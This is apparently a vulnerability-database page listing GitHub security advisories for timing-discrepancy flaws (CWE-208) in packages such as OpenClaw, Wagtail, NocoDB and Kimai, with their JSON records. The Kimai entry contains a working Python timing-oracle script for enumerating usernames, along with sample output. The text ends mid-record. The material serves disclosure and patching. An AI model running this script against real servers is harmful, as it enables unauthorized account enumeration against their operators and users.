CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
306 vulnerabilities reference this CWE, most recent first.
GHSA-J7H9-2JH7-G967
Vulnerability from github – Published: 2026-05-07 21:45 – Updated: 2026-05-07 21:45Summary
mcp-ssh-tool has released version 2.1.1 with security hardening for transfer path authorization and HTTP bearer authentication.
The release addresses:
- insufficient local path policy enforcement in transfer-related filesystem handling
- incomplete canonicalization and segment-boundary handling for deny-prefix path policy checks
- non-constant-time HTTP bearer token comparison
Impact
Affected versions may allow policy bypass in transfer path handling under specific configurations, and may expose a timing side channel in bearer-token comparison for HTTP deployments.
Patched Version
Upgrade to mcp-ssh-tool >= 2.1.1.
npm install -g mcp-ssh-tool@latest
Workarounds
For deployments that cannot immediately upgrade:
- avoid exposing HTTP transport beyond loopback
- use strict filesystem policy configuration
- avoid granting MCP clients access to sensitive local transfer paths
- monitor audit logs for unexpected transfer operations
Credits
Reported by dodge1218.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.0"
},
"package": {
"ecosystem": "npm",
"name": "mcp-ssh-tool"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:45:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`mcp-ssh-tool` has released version `2.1.1` with security hardening for transfer path authorization and HTTP bearer authentication.\n\nThe release addresses:\n\n- insufficient local path policy enforcement in transfer-related filesystem handling\n- incomplete canonicalization and segment-boundary handling for deny-prefix path policy checks\n- non-constant-time HTTP bearer token comparison\n\n## Impact\n\nAffected versions may allow policy bypass in transfer path handling under specific configurations, and may expose a timing side channel in bearer-token comparison for HTTP deployments.\n\n## Patched Version\n\nUpgrade to `mcp-ssh-tool \u003e= 2.1.1`.\n\n```bash\nnpm install -g mcp-ssh-tool@latest\n```\n\n## Workarounds\n\nFor deployments that cannot immediately upgrade:\n\n- avoid exposing HTTP transport beyond loopback\n- use strict filesystem policy configuration\n- avoid granting MCP clients access to sensitive local transfer paths\n- monitor audit logs for unexpected transfer operations\n\n## Credits\n\nReported by `dodge1218`.",
"id": "GHSA-j7h9-2jh7-g967",
"modified": "2026-05-07T21:45:17Z",
"published": "2026-05-07T21:45:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oaslananka/mcp-ssh-tool/security/advisories/GHSA-j7h9-2jh7-g967"
},
{
"type": "PACKAGE",
"url": "https://github.com/oaslananka/mcp-ssh-tool"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "mcp-ssh-tool has file transfer path policy bypass and bearer token comparison hardening"
}
GHSA-J8CM-G7R6-HFPQ
Vulnerability from github – Published: 2024-07-17 18:30 – Updated: 2024-11-18 16:26Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and PkDecryption Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.
Impact
The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.
The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes. Additionally, the estimated leakage amount is bounded and low according to the referenced paper.
Patches
The patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.
Workarounds
None.
References
A detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.
For more information
If you have any questions or comments about this advisory please email us at security at matrix.org.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "vodozemac"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40640"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-17T18:30:55Z",
"nvd_published_at": "2024-07-17T18:15:04Z",
"severity": "MODERATE"
},
"details": "Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.\n\n### Impact\n\nThe use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.\n\nThe impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes. Additionally, the estimated leakage amount is bounded and low according to the referenced paper.\n\n### Patches\n\nThe patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.\n\n### Workarounds\nNone.\n\n### References\nA detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.\n\n### For more information\nIf you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).\n",
"id": "GHSA-j8cm-g7r6-hfpq",
"modified": "2024-11-18T16:26:53Z",
"published": "2024-07-17T18:30:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/vodozemac/security/advisories/GHSA-j8cm-g7r6-hfpq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40640"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/vodozemac/commit/734b6c6948d4b2bdee3dd8b4efa591d93a61d272"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/vodozemac/commit/77765dace11266ef9523301624a01265c6e0f790"
},
{
"type": "WEB",
"url": "https://arxiv.org/abs/2108.04600"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/vodozemac"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0354.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "vodozemac\u0027s usage of non-constant time base64 decoder could lead to leakage of secret key material"
}
GHSA-JJ6Q-RRRF-H66H
Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-05-06 02:40Summary
Before OpenClaw 2026.4.2, several shared-secret comparison call sites still used early length-mismatch checks instead of the shared fixed-length comparison helper. Those paths could leak secret-length information through measurable timing differences.
Impact
The affected paths exposed a low-severity timing side channel on secret comparison. The issue did not by itself demonstrate auth bypass, but it weakened the intended constant-time handling for shared secrets.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.1 - Patched versions:
>= 2026.4.2 - Latest published npm version:
2026.4.1
Fix Commit(s)
be10ecef770a4654519869c3641bbb91087c8c7b— reuse the shared secret comparison helper at affected call sites
Release Process Note
The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.
Thanks @kexinoh of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41407"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:16:03Z",
"nvd_published_at": "2026-04-28T19:37:44Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore OpenClaw 2026.4.2, several shared-secret comparison call sites still used early length-mismatch checks instead of the shared fixed-length comparison helper. Those paths could leak secret-length information through measurable timing differences.\n\n## Impact\n\nThe affected paths exposed a low-severity timing side channel on secret comparison. The issue did not by itself demonstrate auth bypass, but it weakened the intended constant-time handling for shared secrets.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `be10ecef770a4654519869c3641bbb91087c8c7b` \u2014 reuse the shared secret comparison helper at affected call sites\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @kexinoh of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting.",
"id": "GHSA-jj6q-rrrf-h66h",
"modified": "2026-05-06T02:40:50Z",
"published": "2026-04-07T18:16:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jj6q-rrrf-h66h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41407"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/be10ecef770a4654519869c3641bbb91087c8c7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-timing-side-channel-in-shared-secret-comparison"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Shared-secret comparison call sites leaked length information through timing"
}
GHSA-JJJR-3JCW-F8V6
Vulnerability from github – Published: 2020-05-07 18:04 – Updated: 2026-06-09 12:58Impact
A potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's "Privacy" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is understood to be feasible on a local network, but not on the public internet.)
Privacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.
Patches
Patched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.
Workarounds
Site owners who are unable to upgrade to the new versions can use user- or group-based privacy restrictions to restrict access to sensitive information; these are unaffected by this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "2.8rc1"
},
{
"fixed": "2.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "2.9rc1"
},
{
"fixed": "2.9"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.9rc1"
]
}
],
"aliases": [
"CVE-2020-11037"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-07T18:04:33Z",
"nvd_published_at": "2020-04-30T23:15:11Z",
"severity": "MODERATE"
},
"details": "### Impact\nA potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail\u0027s \"Privacy\" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is [understood to be feasible on a local network, but not on the public internet](https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ).)\n\nPrivacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can use [user- or group-based privacy restrictions](https://docs.wagtail.io/en/stable/advanced_topics/privacy.html) to restrict access to sensitive information; these are unaffected by this vulnerability.",
"id": "GHSA-jjjr-3jcw-f8v6",
"modified": "2026-06-09T12:58:54Z",
"published": "2020-05-07T18:04:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/security/advisories/GHSA-jjjr-3jcw-f8v6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11037"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/3c030490ed575bb9cd01dfb3a890477dcaeb2edf"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/b76ab57ee859732b9cf9287d380493ab24061090"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/ba9d424bd1ca5ce1910d3de74f5cc07214fbfb11"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/bac3cd0a26b023e595cf2959aae7da15bb5e4340"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/wagtail/PYSEC-2020-153.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/wagtail/wagtail"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Potential Observable Timing Discrepancy in Wagtail"
}
GHSA-JMJ6-P2J9-68CP
Vulnerability from github – Published: 2023-01-13 06:30 – Updated: 2023-01-25 21:37wildfly-elytron: possible timing attacks via use of unsafe comparator. A flaw was found in Wildfly-elytron. Wildfly-elytron uses java.util.Arrays.equals in several places, which is unsafe and vulnerable to timing attacks. To compare values securely, use java.security.MessageDigest.isEqual instead. This flaw allows an attacker to access secure information or impersonate an authed user.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.wildfly.security:wildfly-elytron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.wildfly.security:wildfly-elytron"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0.CR1"
},
{
"fixed": "1.20.3.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3143"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-13T21:32:28Z",
"nvd_published_at": "2023-01-13T06:15:00Z",
"severity": "HIGH"
},
"details": "wildfly-elytron: possible timing attacks via use of unsafe comparator. A flaw was found in Wildfly-elytron. Wildfly-elytron uses `java.util.Arrays.equals` in several places, which is unsafe and vulnerable to timing attacks. To compare values securely, use `java.security.MessageDigest.isEqual` instead. This flaw allows an attacker to access secure information or impersonate an authed user.",
"id": "GHSA-jmj6-p2j9-68cp",
"modified": "2023-01-25T21:37:25Z",
"published": "2023-01-13T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2022-3143"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2124682"
},
{
"type": "PACKAGE",
"url": "https://github.com/wildfly-security/wildfly-elytron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Wildfly-elytron possibly vulnerable to timing attacks via use of unsafe comparator"
}
GHSA-JMM5-FVH5-GF4P
Vulnerability from github – Published: 2026-03-02 22:43 – Updated: 2026-03-06 01:05Summary
OpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.
In practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.
Affected Packages / Versions
- openclaw (npm): < 2026.2.12
Patched Versions
- openclaw (npm): >= 2026.2.12
Mitigations
- Upgrade to openclaw >= 2026.2.12.
- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.
Fix Commit(s)
- 113ebfd6a23c4beb8a575d48f7482593254506ec
OpenClaw thanks @akhmittra for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28464"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:43:34Z",
"nvd_published_at": "2026-03-05T22:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.\n\nIn practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.\n\n## Affected Packages / Versions\n\n- openclaw (npm): \u003c 2026.2.12\n\n## Patched Versions\n\n- openclaw (npm): \u003e= 2026.2.12\n\n## Mitigations\n\n- Upgrade to openclaw \u003e= 2026.2.12.\n- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.\n\n## Fix Commit(s)\n\n- 113ebfd6a23c4beb8a575d48f7482593254506ec\n\nOpenClaw thanks @akhmittra for reporting.",
"id": "GHSA-jmm5-fvh5-gf4p",
"modified": "2026-03-06T01:05:22Z",
"published": "2026-03-02T22:43:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jmm5-fvh5-gf4p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28464"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/113ebfd6a23c4beb8a575d48f7482593254506ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-timing-attack-in-hooks-token-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has non-constant-time token comparison in hooks authentication"
}
GHSA-JR54-JWHJ-55GP
Vulnerability from github – Published: 2026-06-05 16:03 – Updated: 2026-06-05 16:03Summary
Sign-in response timing differed between known and unknown email addresses because the unknown-user branch returned without performing a password hash comparison.
Details
The unknown-user branch in auth.service.ts now performs a bcrypt.compare against
a fixed dummy hash so the response time of failed sign-ins is approximately
independent of whether the address exists. Rate limiting on the sign-in endpoint is
implemented in the Enterprise build only and is not affected by this advisory.
Impact
A network-positioned attacker could enumerate registered email addresses by timing sign-in responses. Exploitation requires only the ability to send unauthenticated sign-in requests.
Credit
This issue was reported by @AndyAnh174.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nocodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.04.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47380"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:03:55Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nSign-in response timing differed between known and unknown email addresses because\nthe unknown-user branch returned without performing a password hash comparison.\n\n### Details\nThe unknown-user branch in `auth.service.ts` now performs a `bcrypt.compare` against\na fixed dummy hash so the response time of failed sign-ins is approximately\nindependent of whether the address exists. Rate limiting on the sign-in endpoint is\nimplemented in the Enterprise build only and is not affected by this advisory.\n\n### Impact\nA network-positioned attacker could enumerate registered email addresses by timing\nsign-in responses. Exploitation requires only the ability to send unauthenticated\nsign-in requests.\n\n### Credit\nThis issue was reported by [@AndyAnh174](https://github.com/AndyAnh174).",
"id": "GHSA-jr54-jwhj-55gp",
"modified": "2026-06-05T16:03:55Z",
"published": "2026-06-05T16:03:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-jr54-jwhj-55gp"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocodb/nocodb"
},
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/releases/tag/2026.04.1"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "NocoDB: User Enumeration via Sign-In Timing"
}
GHSA-JRC6-FMHW-FPQ2
Vulnerability from github – Published: 2026-04-17 22:30 – Updated: 2026-04-17 22:30Details
src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.
The /api/* firewall has no login_throttling configured, so the probe is unbounded.
The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.
Proof of concept
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""
import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request
PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32
def probe(url, user, ctx):
req = urllib.request.Request(
url + PROBE_PATH,
headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
)
t0 = time.perf_counter()
try:
urllib.request.urlopen(req, context=ctx, timeout=10).read()
except urllib.error.HTTPError as e:
e.read()
return (time.perf_counter() - t0) * 1000.0
def median_ms(url, user, samples, ctx):
return statistics.median(probe(url, user, ctx) for _ in range(samples))
def load_candidates(path):
with open(path) as f:
return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]
def main():
ap = argparse.ArgumentParser(description=__doc__.strip())
ap.add_argument("-u", "--url", required=True,
help="base URL, e.g. https://kimai.example")
ap.add_argument("-l", "--list", required=True, metavar="FILE",
help="one candidate username per line")
ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
help="median delta over baseline that flags a real user")
ap.add_argument("-n", "--samples", type=int, default=15)
ap.add_argument("--verify-tls", action="store_true")
args = ap.parse_args()
url = args.url.rstrip("/")
ctx = None if args.verify_tls else ssl._create_unverified_context()
candidates = load_candidates(args.list)
baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
print(f"baseline: {baseline:.1f} ms", file=sys.stderr)
width = max(len(u) for u in candidates)
print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
print("-" * (width + 30))
for user in candidates:
m = median_ms(url, user, args.samples, ctx)
delta = m - baseline
verdict = "REAL" if delta > args.threshold else "-"
print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")
if __name__ == "__main__":
main()
Usage:
$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)
username median delta verdict
----------------------------------------------------------
user1@example.com 64.2ms +26.5ms REAL
user2@example.com 72.4ms +34.7ms REAL
user3@example.com 70.0ms +32.3ms REAL
tester.nonexistent@example.com 37.2ms -0.5ms -
admin 63.6ms +25.9ms REAL
administrator 38.2ms +0.4ms -
root 37.3ms -0.4ms -
test 33.6ms -4.1ms -
demo 38.2ms +0.5ms -
kimai 37.0ms -0.7ms -
nonexistent_user_aaa 38.1ms +0.4ms -
nonexistent_user_bbb 37.5ms -0.2ms -
nonexistent_user_ccc 38.4ms +0.7ms -
In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.
Fix
In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:
private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';
try {
$user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
$this->passwordHasherFactory
->getPasswordHasher(User::class)
->verify(self::DUMMY_HASH, $credentials['password']);
throw $e;
}
The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.
Relevance
The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.53.0"
},
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:30:59Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n req = urllib.request.Request(\n url + PROBE_PATH,\n headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n )\n t0 = time.perf_counter()\n try:\n urllib.request.urlopen(req, context=ctx, timeout=10).read()\n except urllib.error.HTTPError as e:\n e.read()\n return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n with open(path) as f:\n return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n ap = argparse.ArgumentParser(description=__doc__.strip())\n ap.add_argument(\"-u\", \"--url\", required=True,\n help=\"base URL, e.g. https://kimai.example\")\n ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n help=\"one candidate username per line\")\n ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n help=\"median delta over baseline that flags a real user\")\n ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n ap.add_argument(\"--verify-tls\", action=\"store_true\")\n args = ap.parse_args()\n\n url = args.url.rstrip(\"/\")\n ctx = None if args.verify_tls else ssl._create_unverified_context()\n candidates = load_candidates(args.list)\n\n baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n width = max(len(u) for u in candidates)\n print(f\"{\u0027username\u0027:\u003c{width}} {\u0027median\u0027:\u003e8} {\u0027delta\u0027:\u003e8} verdict\")\n print(\"-\" * (width + 30))\n for user in candidates:\n m = median_ms(url, user, args.samples, ctx)\n delta = m - baseline\n verdict = \"REAL\" if delta \u003e args.threshold else \"-\"\n print(f\"{user:\u003c{width}} {m:\u003e6.1f}ms {delta:\u003e+6.1f}ms {verdict}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername median delta verdict\n----------------------------------------------------------\nuser1@example.com 64.2ms +26.5ms REAL\nuser2@example.com 72.4ms +34.7ms REAL\nuser3@example.com 70.0ms +32.3ms REAL\ntester.nonexistent@example.com 37.2ms -0.5ms -\nadmin 63.6ms +25.9ms REAL\nadministrator 38.2ms +0.4ms -\nroot 37.3ms -0.4ms -\ntest 33.6ms -4.1ms -\ndemo 38.2ms +0.5ms -\nkimai 37.0ms -0.7ms 